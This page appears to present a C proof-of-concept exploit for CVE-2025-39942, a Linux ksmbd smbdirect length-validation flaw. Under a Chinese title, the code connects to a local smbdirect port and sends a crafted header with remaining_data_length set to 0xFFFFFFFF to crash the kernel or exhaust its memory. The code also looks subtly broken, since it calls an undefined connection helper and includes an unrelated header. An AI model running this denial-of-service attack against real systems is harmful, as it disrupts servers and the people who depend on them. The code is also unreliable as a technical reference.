CVE-2025-39942 Linux内核ksmbd smbdirect数据长度验证漏洞

// CVE-2025-39942 PoC - ksmbd smbdirect remaining_data_length validation bypass // This PoC demonstrates triggering the vulnerability by sending a malformed // SMB Direct packet with an oversized remaining_data_length field. // Requires local access to a system running vulnerable ksmbd with smbdirect enabled. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/connector.h> // SMB Direct header structure (simplified) struct smbdirect_header { uint32_t data_offset; uint32_t data_length; uint32_t remaining_data_length; // This field is the vulnerability target uint32_t flags; uint64_t message_id; }; // max_fragmented_recv_size as defined in ksmbd smbdirect #define MAX_FRAGMENTED_RECV_SIZE (1024 * 1024) // 1MB default int main(int argc, char *argv[]) { struct smbdirect_header pkt; int ret; printf("[*] CVE-2025-39942 PoC - ksmbd smbdirect DoS\n"); // Connect to local ksmbd smbdirect endpoint int fd = connect_to_smbdirect("127.0.0.1", 5445); if (fd < 0) { fprintf(stderr, "[-] Failed to connect to smbdirect endpoint\n"); return 1; } printf("[*] Connected to smbdirect endpoint\n"); // Craft malicious packet with oversized remaining_data_length memset(&pkt, 0, sizeof(pkt)); pkt.data_offset = 0; pkt.data_length = 1024; // Small actual data pkt.remaining_data_length = 0xFFFFFFFF; // Exceeds max_fragmented_recv_size pkt.flags = 0; pkt.message_id = 1; printf("[*] Sending malformed packet with remaining_data_length=0x%X\n", pkt.remaining_data_length); printf("[*] max_fragmented_recv_size=0x%X\n", MAX_FRAGMENTED_RECV_SIZE); // Send the malicious packet ret = send(fd, &pkt, sizeof(pkt), 0); if (ret < 0) { perror("send"); return 1; } printf("[*] Packet sent. Check target system for kernel crash/OOM.\n"); close(fd); return 0; }